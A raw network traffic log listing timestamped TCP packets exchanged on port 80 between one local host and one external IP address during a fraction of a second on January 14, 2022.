Jan 14, 2022 21:05:48.625333071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625366926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625406981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625413895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625444889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625451088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625487089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625524998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625531912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625562906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625602961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625612020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625642061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.627042055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.663537979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.663580894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.663619041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.663650990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.663662910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.663717031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.665656090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.665697098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.665735006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.665767908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.665774107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.665816069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.665842056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.667429924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.668190956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.668229103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.683671951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683718920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683757067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683795929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683836937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683866978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.683890104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683897972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.683932066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.683973074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684010983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684051037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684055090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684102058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684104919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684134007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684143066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684187889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684230089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684241056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684269905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684303045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684310913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684350014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684369087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684390068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684432983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684470892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684482098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684511900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684528112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684552908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684596062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684636116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684653044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684674978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684689045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684717894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684757948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684773922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684796095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684838057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684864998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.684879065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684920073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684952021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.684981108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685012102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685044050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685060024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685075998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685090065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685116053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685158014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685182095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685198069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685237885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685278893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685317039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685318947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685358047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685395956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685432911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685446024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685472965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685492039 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685516119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685554981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685556889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685600996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685630083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685640097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685679913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685694933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685719967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685758114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685761929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685780048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685797930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685837984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685883045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.685900927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685960054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.685991049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686000109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686038971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686078072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686085939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686116934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686156988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686183929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686197042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686204910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686235905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686275959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686291933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686316967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686355114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686368942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686395884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686435938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686474085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686491013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.686516047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.686566114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.695744991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.723197937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723242044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723267078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.723279953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723321915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723330021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.723509073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723598003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723639011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723661900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.723679066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.723701000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.725910902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.725954056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.725990057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.725994110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.726039886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744431019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744477034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744515896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744554996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744561911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744596004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744611025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744637012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744678974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744715929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744739056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744755983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744781971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744796038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744833946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744874001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744891882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744913101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744919062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.744952917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.744992018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745007038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745031118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745069981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745107889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745126009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745146036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745152950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745187044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745225906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745239973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745266914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745306969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745345116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745368004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745383978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745398998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745424986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745461941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745501995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745516062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745542049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745580912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745601892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745621920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745624065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745665073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745703936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745717049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745743036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745812893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745845079 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745876074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745918036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745956898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.745971918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.745996952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746005058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746035099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746074915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746113062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746126890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746150970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746174097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746191025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746228933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746268988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746288061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746309042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746347904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746361971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746387959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746387959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746428967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746479034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746517897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746562004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746606112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746613979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746646881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746685982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746723890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746742010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746763945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746800900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746814013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746834993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746840954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746881008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746921062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.746957064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.746978045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747018099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747037888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.747061968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747104883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747118950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.747144938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747184038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747225046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747255087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747298956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747306108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.747339010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747370005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.747380018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747416973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.747421026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.747539043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.747622967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.781356096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781382084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781398058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781414032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781431913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781441927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.781449080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781466961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781478882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.781485081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.781486034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.781651020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.783649921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.783668995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.783685923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.783703089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.783723116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.783755064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.805511951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.805633068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.805753946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.805898905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.805939913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.805963039 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.805974960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806116104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806124926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806252003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806287050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806308031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806309938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806330919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806351900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806355000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806375027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806396961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806399107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806417942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806440115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806446075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806463003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806483984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806488037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806507111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806529045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806530952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806552887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806566000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806576967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806598902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806621075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806627989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806643009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806664944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806674957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806687117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806709051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806713104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806730986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806752920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806773901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806781054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806796074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806803942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806818008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806838036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806842089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806862116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806885004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806888103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806907892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806930065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806951046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806955099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806974888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.806977987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.806998014 CET	80	49882	81.163.30.181	192.168.2.5
